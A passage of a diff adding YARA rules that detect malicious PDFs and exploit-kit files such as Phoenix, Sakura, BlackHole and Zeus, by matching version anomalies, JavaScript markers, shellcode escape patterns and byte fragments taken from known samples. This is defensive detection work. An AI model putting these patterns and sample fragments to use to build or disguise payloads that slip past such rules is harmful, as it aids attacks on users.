+		ref = "https://blogs.adobe.com/ReferenceXObjects/"
+		version = "0.1"
+		weight = 2
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$ver = /%PDF-1\.[4-9]/
+		
+		$attrib0 = /\/XObject/
+		$attrib1 = /\/JavaScript/
+		
+	condition:
+		$magic at 0 and not $ver and all of ($attrib*)
+}
+/*
+
+//$reg1 contains .*, consider using .{n} with a reasonable value for n
+
+rule invalid_trailer_structure : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 1
+		
+        strings:
+                $magic = { 25 50 44 46 }
+				// Required for a valid PDF
+                $reg0 = /trailer\r?\n?.*\/Size.*\r?\n?\.*/
+/*              $reg1 = /\/Root.*\r?\n?.*startxref\r?\n?.*\r?\n?%%EOF/
+
+        condition:
+                $magic at 0 and not $reg0 and not $reg1
+}
+*/
+
+rule multiple_versions : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+        description = "Written very generically and doesn't hold any weight - just something that might be useful to know about to help show incremental updates to the file being analyzed"		
+		weight = 0
+		
+        strings:
+                $magic = { 25 50 44 46 }
+                $s0 = "trailer"
+                $s1 = "%%EOF"
+
+        condition:
+                $magic at 0 and #s0 > 1 and #s1 > 1
+}
+
+rule js_wrong_version : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		description = "JavaScript was introduced in v1.3"
+		ref = "http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/devnet/pdf/pdfs/pdf_reference_1-7.pdf"
+		version = "0.1"
+		weight = 2
+		
+        strings:
+                $magic = { 25 50 44 46 }
+				$js = /\/JavaScript/
+				$ver = /%PDF-1\.[3-9]/
+
+        condition:
+                $magic at 0 and $js and not $ver
+}
+
+rule JBIG2_wrong_version : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		description = "JBIG2 was introduced in v1.4"
+		ref = "http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/devnet/pdf/pdfs/pdf_reference_1-7.pdf"
+		version = "0.1"
+		weight = 1
+		
+        strings:
+                $magic = { 25 50 44 46 }
+				$js = /\/JBIG2Decode/
+				$ver = /%PDF-1\.[4-9]/
+
+        condition:
+                $magic at 0 and $js and not $ver
+}
+
+rule FlateDecode_wrong_version : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		description = "Flate was introduced in v1.2"
+		ref = "http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/devnet/pdf/pdfs/pdf_reference_1-7.pdf"
+		version = "0.1"
+		weight = 1
+		
+        strings:
+                $magic = { 25 50 44 46 }
+				$js = /\/FlateDecode/
+				$ver = /%PDF-1\.[2-9]/
+
+        condition:
+                $magic at 0 and $js and not $ver
+}
+
+rule embed_wrong_version : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		description = "EmbeddedFiles were introduced in v1.3"
+		ref = "http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/devnet/pdf/pdfs/pdf_reference_1-7.pdf"
+		version = "0.1"
+		weight = 1
+		
+        strings:
+                $magic = { 25 50 44 46 }
+				$embed = /\/EmbeddedFiles/
+				$ver = /%PDF-1\.[3-9]/
+
+        condition:
+                $magic at 0 and $embed and not $ver
+}
+/*
+rule invalid_xref_numbers : PDF
+{
+        meta:
+			author = "Glenn Edwards (@hiddenillusion)"
+			version = "0.1"
+			description = "The first entry in a cross-reference table is always free and has a generation number of 65,535"
+			notes = "This can be also be in a stream..."
+			weight = 1
+		
+        strings:
+                $magic = { 25 50 44 46 }
+                $reg0 = /xref\r?\n?.*\r?\n?.*65535\sf/
+                $reg1 = /endstream.*?\r?\n?endobj.*?\r?\n?startxref/
+        condition:
+                $magic at 0 and not $reg0 and not $reg1
+}
+*/
+
+rule js_splitting : PDF
+{
+        meta:
+                author = "Glenn Edwards (@hiddenillusion)"
+                version = "0.1"
+                description = "These are commonly used to split up JS code"
+                weight = 2
+                
+        strings:
+                $magic = { 25 50 44 46 }
+				$js = /\/JavaScript/
+                $s0 = "getAnnots"
+                $s1 = "getPageNumWords"
+                $s2 = "getPageNthWord"
+                $s3 = "this.info"
+                                
+        condition:
+                $magic at 0 and $js and 1 of ($s*)
+}
+
+rule BlackHole_v2 : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		ref = "http://fortknoxnetworks.blogspot.no/2012/10/blackhhole-exploit-kit-v-20-url-pattern.html"
+		weight = 3
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$content = "Index[5 1 7 1 9 4 23 4 50"
+		
+	condition:
+		$magic at 0 and $content
+}
+
+
+rule XDP_embedded_PDF : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		ref = "http://blog.9bplus.com/av-bypass-for-malicious-pdfs-using-xdp"
+        weight = 1		
+
+	strings:
+		$s1 = "<pdf xmlns="
+		$s2 = "<chunk>"
+		$s3 = "</pdf>"
+		$header0 = "%PDF"
+		$header1 = "JVBERi0"
+
+	condition:
+		all of ($s*) and 1 of ($header*)
+}
+
+rule FlashNewfunction: decodedPDF
+{
+   meta:  
+      ref = "CVE-2010-1297"
+      hide = true
+      impact = 5 
+      ref = "http://blog.xanda.org/tag/jsunpack/"
+   strings:
+      $unescape = "unescape" fullword nocase
+      $shellcode = /%u[A-Fa-f0-9]{4}/
+      $shellcode5 = /(%u[A-Fa-f0-9]{4}){5}/
+      $cve20101297 = /\/Subtype ?\/Flash/
+   condition:
+      ($unescape and $shellcode and $cve20101297) or ($shellcode5 and $cve20101297)
+}
+
+rule phoenix_html
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "8395f08f1371eb7b2a2e131b92037f9a"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string1 = "'></applet><body id"
+	$string2 = "<applet mayscript"
+	$string3 = "/gmi,String.fromCharCode(2"
+	$string4 = "/gmi,' ').replace(/"
+	$string5 = "pe;i;;.j1s->c"
+	$string6 = "es4Det"
+	$string7 = "<textarea>function"
+        $string8 = ".replace(/"
+	$string9 = ".jar' code"
+	$string10 = ";iFc;ft'b)h{s"
+condition:
+	10 of them
+}
+
+rule phoenix_html10
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "f5f8dceca74a50076070f2593e82ec43"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "pae>crAeahoilL"
+	$string1 = "D11C0002C0069733E60656F6462070D000402DFF200696E"
+	$string2 = "nbte)bbn"
+	$string3 = "v9o16,0')0B80002328203;)82F00223A216ifA160A262A462(a"
+	$string4 = "0442DFD2E30EC80E42D2E00AC3F3D53C9CAEBFF7E1E805080B044057CB1C0EF7F263DC64E0CBE47C2A21E370EE4A"
+	$string5 = ";)npeits0e.uvr;][tvr"
+	$string6 = "433EBE90242003E00C606D04036563435805000102000v020E656wa.i118,0',9F902F282620''C62022646660}{A780232A"
+	$string7 = "350;var ysjzyq"
+	$string8 = "aSmd'lm/t/im.}d.-Ljg,l-"
+	$string9 = "0017687F6164706E6967060002008101'2176045ckb"
+	$string10 = "63(dcma)nenn869"
+	$string11 = "').replace(/"
+	$string12 = "xd'c0lrls09sare"
+	$string13 = "(]t.(7u(<p"
+	$string14 = "d{et;bdBcriYtc:eayF20'F62;23C4AABA3B84FE21C2B0B066C0038B8353AF5C0B4DF8FF43E85FB6F05CEC4080236F3CDE6E"
+	$string15 = "/var another;</textarea>"
+	$string16 = "Fa527496C62eShHmar(bA,pPec"
+	$string17 = "FaA244A676C,150e62A5B2B61,'2F"
+condition:
+	17 of them
+}
+
+rule phoenix_html11
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "be8c81288f9650e205ed13f3167ce256"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "D'0009F0C6941617C43427A76080001000F47020C606volv99,0,6,"
+	$string1 = "';)nWd"
+	$string2 = "IW'eeCn)s.a9e;0CF300FF379011078E047873754163636960496270486264416455747D69737812060209011301010104D0"
+	$string3 = "D8D51F5100019006D60667F2E056940170E01010747"
+	$string4 = "515F2F436WemBh2A4560683aFanoi(utse.o1/f;pistelzi"
+	$string5 = "/p(e/oah)FHw'aaarDsnwi-"
+	$string6 = "COa506u%db10u%1057u%f850u%f500u%0683u%05a8u%0030u%0706u%d300u%585du%38d0u%0080u%5612u'u%A2DdF6u%1M:."
+	$string7 = "S(yt)Dj"
+	$string8 = "FaA26285325,150e8292A6968,'2F"
+	$string9 = "0200e{b<0:D>r5d4u%c005u%0028u%251eu%a095u%6028u%0028u%2500u%f7f7u%70d7u%2025u%9008u%08f8u%c607usu%37"
+	$string10 = "(mEtlltopo{{e"
+	$string11 = "aSmd'lm/t/im.}d.-Ljg,l-"
+	$string12 = "r)C4snfapfuo}"
+	$string13 = "').replace(/"
+	$string14 = "A282A5ifA160F2628206(a"
+	$string15 = "obn0cf"
+	$string16 = "d(i'C)rtr.'pvif)iv1ilW)S((Ltl.)2,0,9;0se"
+	$string17 = "E23s3003476B18703C179396D08B841BC554F11678F0FEB9505FB355E044F33A540F61743738327E32D97D070FA37D87s000"
+	$string18 = "603742E545904575'294E20680,6F902E292A60''E6202A4E6468},e))tep"
+condition:
+	18 of them
+}
+
+
+rule phoenix_html2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "2fd263f5d988a92715f4146a0006cb31"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "Pec.lilsD)E)i-gonP(mgge.eOmn"
+	$string1 = "(trt;oo"
+	$string2 = "aceeC:0h"
+	$string3 = "Vubb.oec.n)a."
+	$string4 = "t;o{(bspd}ci:0OO[g(cfjdh}1sN}ntnrlt;0pwf{-"
+	$string5 = "seierb)gMle(}ev;is{(b;ga"
+	$string6 = "e)}ift"
+	$string7 = "Dud{rt"
+	$string8 = "blecroeely}diuFI-"
+	$string9 = "ttec]tr"
+	$string10 = "fSgcso"
+	$string11 = "eig.t)eR{t}aeesbdtbl{1sr)m"
+	$string12 = ").}n,Raa.s"
+	$string13 = "sLtfcb.nrf{Wiantscncad1ac)scb0eo]}Diuu(nar"
+	$string14 = "dxc.,:tfr(ucxRn"
+	$string15 = "eDnnforbyri(tbmns).[i.ee;dl(aNimp(l(h[u[ti;u)"
+	$string16 = "}tn)i{ebr,_.ns(Nes,,gm(ar.t"
+	$string17 = "l]it}N(pe3,iaaLds.)lqea:Ps00Hc;[{Euihlc)LiLI"
+condition:
+	17 of them
+}
+
+rule phoenix_html3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "d7cacbff6438d866998fc8bfee18102d"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "mtfla/,)asaf)'}"
+	$string1 = "72267E7C'A3035CFC415DFAAA834B208D8C230FD303E2EFFE386BE05960C588C6E85650746E690C39F706F97DC74349BA134"
+	$string2 = "N'eiui7F6e617e00F145A002645E527BFF264842F877B2FFC1FE84BCC6A50F0305B5B0C36A019F53674FD4D3736C494BD5C2"
+	$string3 = "lndl}})<>"
+	$string4 = "otodc};b<0:D>r5d4u%c005u%0028u%251eu%a095u%6028u%0028u%2500u%f7f7u%70d7u%2025u%9008u%08f8u%c607usu%3"
+	$string5 = "tuJaboaopb"
+	$string6 = "a(vxf{p'tSowa.i,1NIWm("
+	$string7 = "2004et"
+	$string8 = "2054sttE5356496478"
+	$string9 = "yi%A%%A%%A%%A%Cvld3,5314,004,6211,931,,,011394617,983,1154,5,1,,1,1,13,08,4304,1"
+	$string10 = "0ovel04ervEeieeem)h))B(ihsAE;u%04b8u%1c08u%0e50u%a000u%1010u%4000u%20afu%0006u%2478u%0020u%1065u%210"
+	$string11 = "/gmi,String.fromCharCode(2"
+	$string12 = "ncBcaocta.ye"
+	$string13 = "0201010030004A033102090;na"
+	$string14 = "66u%0(ec'h{iis%%A%%A%%A%%A%frS1,,8187,1,4,11,91516,,61,,10841,1,13,,,11248,01818849,23,,,,791meits0e"
+	$string15 = "D11C0002C0069733E60656F6462070D000402DFF200696E"
+	$string16 = "810p0y98"
+	$string17 = "9,0,e'Fm692E583760"
+	$string18 = "57784234633a)(u"
+condition:
+	18 of them
+}
+
+rule phoenix_html4
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "61fde003211ac83c2884fbecefe1fc80"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "/dr.php"
+	$string1 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+	$string2 = "launchjnlp"
+	$string3 = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"
+	$string4 = "urlmon.dll"
+	$string5 = "<body>"
+	$string6 = " docbase"
+	$string7 = "</html>"
+	$string8 = " classid"
+	$string9 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+	$string10 = "63AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+	$string11 = "</object>"
+	$string12 = "application/x-java-applet"
+	$string13 = "java_obj"
+condition:
+	13 of them
+}
+
+rule phoenix_html5
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "30afdca94d301905819e00a7458f4a4e"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "dtesu}"
+	$string1 = "<textarea>function gvgsxoy(gwcqg1){return gwcqg1.replace(/"
+	$string2 = "v}Ahnhxwet"
+	$string3 = "0125C6BBA2B84F7A1D2940C04C8B7449A40EEB0D14C8003535C0042D75E05F0D7F3E0A7B4E33EB4D8D47119290FC"
+	$string4 = "a2Fs2325223869e'Fm2873367130"
+	$string5 = "m0000F0F6E66607C71646F6607000107FA61021F6060(aeWWIN"
+	$string6 = ")(r>hd1/dNasmd(fpas"
+	$string7 = "9,0,e'Fm692E583760"
+	$string8 = "5ud(dis"
+	$string9 = "nacmambuntcmi"
+	$string10 = "Fa078597467,1C0e674366871,'2F"
+	$string11 = "Fa56F386A76,180e828592024,'2F"
+	$string12 = "alA)(2avoyOi;ic)t6])teptp,an}tnv0i'fms<uic"
+	$string13 = "iR'nandee"
+	$string14 = "('0.aEa-9leal"
+	$string15 = "bsD0seF"
+	$string16 = "t.ck263/6F3a001CE7A2684067F98BEC18B738801EF1F7F7E49A088695050C000865FC38080FE23727E0E8DE9CB53E748472"
+condition:
+	16 of them
+}
+
+rule phoenix_html6
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "4aabb710cf04240d26c13dd2b0ccd6cc"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "F4B6B2E67)A780A373A633;ast2316363677fa'es6F3635244"
+	$string1 = "piia.a}rneecc.cnuoir"
+	$string2 = "0448D5A54BE10A5DA628100AC3F3D53C9CAEBFF7E1E805080B044057CB1C0EF7F263DC64E0CBE47C2A21E55E9EA620000106"
+	$string3 = "],enEn..o"
+	$string4 = "o;1()sna"
+	$string5 = "(eres(0.,"
+	$string6 = "}fs2he}o.t"
+	$string7 = "f'u>jisch3;)Ie)C'eO"
+	$string8 = "refhiacei"
+	$string9 = "0026632528(sCE7A2684067F98BEC1s00000F512Fm286631666"
+	$string10 = "vev%80b4u%ee18u%28b8u%2617u%5c08u%0e50u%a000u%9006u%76efu%b1cbu%ba2fu%6850u%0524u%9720u%f70<}1msa950"
+	$string11 = "pdu,xziien,ie"
+	$string12 = "rr)l;.)vr.nbl"
+	$string13 = "ii)ruccs)1e"
+	$string14 = "F30476737930anD<tAhnhxwet"
+	$string15 = ")yf{(ee..erneef"
+	$string16 = "ieiiXuMkCSwetEet"
+	$string17 = "F308477E7A7itme"
+condition:
+	17 of them
+}
+
+rule phoenix_html7
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "f0e1b391ec3ce515fd617648bec11681"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "EBF0a0001B05D266503046C7A491A0C00044F0002035D0D0twl''WIN"
+	$string1 = "ah80672528657"
+	$string2 = "n);tctt)Eltc(Dj"
+	$string3 = ";cnt2<tEf"
+	$string4 = "iwkne){bvfvgzg5"
+	$string5 = "..'an{ea-Ect'8-huJ.)/l'/tCaaa}<Ct95l"
+	$string6 = "'WIWhaFtF662F6577IseFe427347637"
+	$string7 = "ddTh75e{"
+	$string8 = "Ae'n,,9"
+	$string9 = "%E7E3Vemtyi"
+	$string10 = "cf'treran"
+	$string11 = "ncBcaocta.ye"
+	$string12 = ")'0,p8k"
+	$string13 = "0;{tc4F}c;eptdpduoCuuedPl80evD"
+	$string14 = "iq,q,Nd(nccfr'Bearc'nBtpw"
+	$string15 = ";)npeits0e.uvhF$I'"
+	$string16 = "nvasai0.-"
+	$string17 = "lmzv'is'"
+condition:
+	17 of them
+}
+
+rule phoenix_html8
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "1c19a863fc4f8b13c0c7eb5e231bc3d1"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "0x5)).replace(/"
+	$string1 = "%A%%A%%nc(,145,9,84037,1711,,4121,56,1,,0505,,651,,3,514101,01,29,7868,90"
+	$string2 = "/gmi,String.fromCharCode(2"
+	$string3 = "turt;oo)s"
+	$string4 = "91;var jtdpar"
+	$string5 = "R(,13,7,63,48140601,5057,,319,,6,1,1,2,,110,0,1011171,2319,,,,10vEAs)tfmneyeh%A%%A%%A%%A%s<u91,4693,"
+	$string6 = "y%%A%%A%%A%%A.meo21117,7,1,,10,1,9,8,1,9,100,6,141003,74181,163,441114,43,207,,remc'ut"
+	$string7 = "epjtjqe){jtdpar"
+	$string8 = "/gmi,'"
+	$string9 = "<font></font><body id"
+	$string10 = " epjtjqe; fqczi > 0; fqczi--){for (bwjmgl7 "
+	$string11 = "nbte)bb(egs%A%%A%%A%%A%%m"
+	$string12 = "fvC9614165,,,1,1801151030,,0,,487641114,,1,141,914810036,,888,201te.)'etdc:ysaA%%A%%A%%A%%5sao,61,0,"
+	$string13 = "(tiAmrd{/tnA%%A%%A%%A%%Aiin11,,1637,34191,626958314,11007,,61145,411,7,9,1821,,43,8311,26;d'ebt.dyvs"
+	$string14 = "A%%A%%A%%Ao"
+	$string15 = "hrksywd(cpkwisk4);/"
+	$string16 = ";</script>"
+condition:
+	16 of them
+}
+
+rule phoenix_html9
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "742d012b9df0c27ed6ccf3b234db20db"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "tute)bbr:"
+	$string1 = "nfho(tghRx"
+	$string2 = "()irfE/Rt..cOcC"
+	$string3 = "NcEnevbf"
+	$string4 = "63FB8B4296BBC290A0.'0000079'Fh20216B6A6arA;<"
+	$string5 = "wHe(cLnyeyet(a.i,r.{.."
+	$string6 = "tute)bbdfiiix'bcr"
+	$string7 = "itifdf)d1L2f'asau%d004u%8e00u%0419u%a58du%2093u%ec10u%0050u%00d4u%4622u%bcd1u%b1ceu%5000u%f7f5u%5606"
+	$string8 = "2F4693529783'82F076676C38'te"
+	$string9 = "sm(teoeoi)cfh))pihnipeeeo}.,(.(("
+	$string10 = "ao)ntavlll{))ynlcoix}hiN.il'tes1ad)bm;"
+	$string11 = "i)}m0f(eClei(/te"
+	$string12 = "}aetsc"
+	$string13 = "irefnig.pT"
+	$string14 = "a0mrIif/tbne,(wsk,"
+	$string15 = "500F14B06000000630E6B72636F60632C6E711C6E762E646F147F44767F650A0804061901020009006B120005A2006L"
+	$string16 = ".hB.Csf)ddeSs"
+	$string17 = "tnne,IPd4Le"
+	$string18 = "hMdarc'nBtpw"
+condition:
+	18 of them
+}
+
+rule phoenix_jar
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "a8a18219b02d30f44799415ff19c518e"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "r.JM,IM"
+	$string1 = "qX$8$a"
+	$string2 = "META-INF/services/javax.sound.midi.spi.MidiDeviceProvider5"
+	$string3 = "a.classPK"
+	$string4 = "6;\\Q]Q"
+	$string5 = "h[s] X"
+	$string6 = "ToolsDemoSubClass.classPK"
+	$string7 = "a.class"
+	$string8 = "META-INF/MANIFEST.MFPK"
+	$string9 = "ToolsDemoSubClass.classeO"
+	$string10 = "META-INF/services/javax.sound.midi.spi.MidiDeviceProviderPK"
+condition:
+	10 of them
+}
+
+rule phoenix_jar2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "989c5b5eaddf48010e62343d7a4db6f4"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "a66d578f084.classeQ"
+	$string1 = "a4cb9b1a8a5.class"
+	$string2 = ")szNu\\MutK"
+	$string3 = "qCCwBU"
+	$string4 = "META-INF/MANIFEST.MF"
+	$string5 = "QR,GOX"
+	$string6 = "ab5601d4848.classmT"
+	$string7 = "a6a7a760c0e["
+	$string8 = "2ZUK[L"
+	$string9 = "2VT(Au5"
+	$string10 = "a6a7a760c0ePK"
+	$string11 = "aa79d1019d8.class"
+	$string12 = "aa79d1019d8.classPK"
+	$string13 = "META-INF/MANIFEST.MFPK"
+	$string14 = "ab5601d4848.classPK"
+condition:
+	14 of them
+}
+
+rule phoenix_jar3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "c5655c496949f8071e41ea9ac011cab2"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "'> >$>"
+	$string1 = "bpac/PK"
+	$string2 = "bpac/purok$1.classmP]K"
+	$string3 = "bpac/KAVS.classmQ"
+	$string4 = "'n n$n"
+	$string5 = "bpac/purok$1.classPK"
+	$string6 = "$.4aX,Gt<"
+	$string7 = "bpac/KAVS.classPK"
+	$string8 = "bpac/b.classPK"
+	$string9 = "bpac/b.class"
+condition:
+	9 of them
+}
+
+rule phoenix_pdf
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "16de68e66cab08d642a669bf377368da"
+	hash1 = "bab281fe0cf3a16a396550b15d9167d5"
+	sample_filetype = "pdf"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "0000000254 00000 n"
+	$string1 = "0000000295 00000 n"
+	$string2 = "trailer<</Root 1 0 R /Size 7>>"
+	$string3 = "0000000000 65535 f"
+	$string4 = "3 0 obj<</JavaScript 5 0 R >>endobj"
+	$string5 = "0000000120 00000 n"
+	$string6 = "%PDF-1.0"
+	$string7 = "startxref"
+	$string8 = "0000000068 00000 n"
+	$string9 = "endobjxref"
+	$string10 = ")6 0 R ]>>endobj"
+	$string11 = "0000000010 00000 n"
+condition:
+	11 of them
+}
+
+rule phoenix_pdf2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "33cb6c67f58609aa853e80f718ab106a"
+	sample_filetype = "pdf"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "\\nQb<%"
+	$string1 = "0000000254 00000 n"
+	$string2 = ":S3>v0$EF"
+	$string3 = "trailer<</Root 1 0 R /Size 7>>"
+	$string4 = "%PDF-1.0"
+	$string5 = "0000000000 65535 f"
+	$string6 = "endstream"
+	$string7 = "0000000010 00000 n"
+	$string8 = "6 0 obj<</JS 7 0 R/S/JavaScript>>endobj"
+	$string9 = "3 0 obj<</JavaScript 5 0 R >>endobj"
+	$string10 = "}pr2IE"
+	$string11 = "0000000157 00000 n"
+	$string12 = "1 0 obj<</Type/Catalog/Pages 2 0 R /Names 3 0 R >>endobj"
+	$string13 = "5 0 obj<</Names[("
+condition:
+	13 of them
+}
+
+rule phoenix_pdf3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "bab281fe0cf3a16a396550b15d9167d5"
+	sample_filetype = "pdf"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "trailer<</Root 1 0 R /Size 7>>"
+	$string1 = "stream"
+	$string2 = ";_oI5z"
+	$string3 = "0000000010 00000 n"
+	$string4 = "3 0 obj<</JavaScript 5 0 R >>endobj"
+	$string5 = "7 0 obj<</Filter[ /FlateDecode /ASCIIHexDecode /ASCII85Decode ]/Length 3324>>"
+	$string6 = "endobjxref"
+	$string7 = "L%}gE("
+	$string8 = "0000000157 00000 n"
+	$string9 = "1 0 obj<</Type/Catalog/Pages 2 0 R /Names 3 0 R >>endobj"
+	$string10 = "0000000120 00000 n"
+	$string11 = "4 0 obj<</Type/Page/Parent 2 0 R /Contents 12 0 R>>endobj"
+condition:
+	11 of them
+}
+
+rule redkit_bin_basic : exploit_kit
+{
+    strings:
+        $str1 = /\/\d{2}.html\s/
+    condition:
+        $str1
+}
+
+rule sakura_jar
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Sakura Exploit Kit Detection"
+	hash0 = "a566ba2e3f260c90e01366e8b0d724eb"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "Rotok.classPK"
+	$string1 = "nnnolg"
+	$string2 = "X$Z'\\4^=aEbIdUmiprsxt}v<" wide
+	$string3 = "()Ljava/util/Set;"
+	$string4 = "(Ljava/lang/String;)V"
+	$string5 = "Ljava/lang/Exception;"
+	$string6 = "oooy32"
+	$string7 = "Too.java"
+	$string8 = "bbfwkd"
+	$string9 = "Ljava/lang/Process;"
+	$string10 = "getParameter"
+	$string11 = "length"
+	$string12 = "Simio.java"
+	$string13 = "Ljavax/swing/JList;"
+	$string14 = "-(Ljava/lang/String;)Ljava/lang/StringBuilder;"
+	$string15 = "Ljava/io/InputStream;"
+	$string16 = "vfnnnrof.exnnnroe"
+	$string17 = "Olsnnfw"
+condition:
+	17 of them
+}
+
+rule sakura_jar2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Sakura Exploit Kit Detection"
+	hash0 = "d21b4e2056e5ef9f9432302f445bcbe1"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "getProperty"
+	$string1 = "java/io/FileNotFoundException"
+	$string2 = "LLolp;"
+	$string3 = "cjhgreshhnuf "
+	$string4 = "StackMapTable"
+	$string5 = "onfwwa"
+	$string6 = "(C)Ljava/lang/StringBuilder;"
+	$string7 = "replace"
+	$string8 = "LEsia$fffgss;"
+	$string9 = "<clinit>"
+	$string10 = "()Ljava/io/InputStream;"
+	$string11 = "openConnection"
+	$string12 = " gjhgreshhnijhgreshhrtSjhgreshhot.sjhgreshhihjhgreshht;)"
+	$string13 = "Oi.class"
+	$string14 = " rjhgreshhorjhgreshhre rajhgreshhv"
+	$string15 = "java/lang/String"
+	$string16 = "java/net/URL"
+	$string17 = "Created-By: 1.7.0-b147 (Oracle Corporation)"
+condition:
+	17 of them
+}
+
+rule zeus_js
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Zeus Exploit Kit Detection"
+	hash0 = "c87ac7a25168df49a64564afb04dc961"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "var jsmLastMenu "
+	$string1 = "position:absolute; z-index:99' "
+	$string2 = " -1)jsmSetDisplayStyle('popupmenu' "
+	$string3 = " '<tr><td><a href"
+	$string4 = "  jsmLastMenu "
+	$string5 = "  var ids "
+	$string6 = "this.target"
+	$string7 = " jsmPrevMenu, 'none');"
+	$string8 = "  if(jsmPrevMenu "
+	$string9 = ")if(MenuData[i])"
+	$string10 = " '<div style"
+	$string11 = "popupmenu"
+	$string12 = "  jsmSetDisplayStyle('popupmenu' "
+	$string13 = "function jsmHideLastMenu()"
+	$string14 = " MenuData.length; i"
+condition:
+	14 of them
+}
+
